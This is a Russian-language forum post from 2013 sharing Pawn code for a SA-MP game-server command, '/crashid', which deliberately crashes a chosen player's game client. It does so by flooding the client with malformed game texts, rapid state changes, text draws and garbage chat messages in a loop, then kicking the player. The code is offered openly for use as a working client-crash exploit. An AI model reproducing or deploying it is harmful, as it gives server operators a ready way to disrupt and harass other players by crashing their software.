gabriels | Дата: Воскресенье, 17.11.2013, 01:44:34 | Сообщение # 1 |
Группа: Пользователи
Сообщений: 1
| Серверу и другим игрокам не вредит, проверено. Автор - я - [MiB]Matt (gabriels) Не спер, не переделал. Код if(strcmp(cmd, "/crashid", true) == 0) { tmp = strtok(cmdtext,idx); if(!strlen(tmp)) return SendClientMessage(playerid,0x00BFFFAA,"[L&M]: {ffffff}Вы не указали игрока, которого хотите заставить вылететь из игры."); new id = strval(tmp); new crashstr[1000]; for(new i = 0; i<1000; i++) { GameTextForPlayer(id, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 1000, 0); GameTextForPlayer(id, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 2000, 1); GameTextForPlayer(id, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 3000, 2); GameTextForPlayer(id, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 4000, 3); GameTextForPlayer(id, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 5000, 4); GameTextForPlayer(id, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 6000, 5); GameTextForPlayer(id, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 7000, 6); SetPlayerVirtualWorld(id, i); SetPlayerSkin(id, i); SetPlayerInterior(id, i); SetPlayerHealth(id, i); SetPlayerArmour(id, i); SetPlayerTime(id,i,i); SetPlayerWeather(id,i); new Text:welcomeText; welcomeText = TextDrawCreate(i,i,"~"); TextDrawShowForPlayer(id,welcomeText); new crashnumber; crashnumber = random(10); format(crashstr, sizeof(crashstr), "%s %d", crashstr, crashnumber); SendClientMessage(id, PlayerColors[random(sizeof(PlayerColors))], crashstr); } Kick(id); // на случай, если игрок сидит через бота return 1; }
Сообщение отредактировал gabriels - Воскресенье, 17.11.2013, 01:51:01 |
|
|
|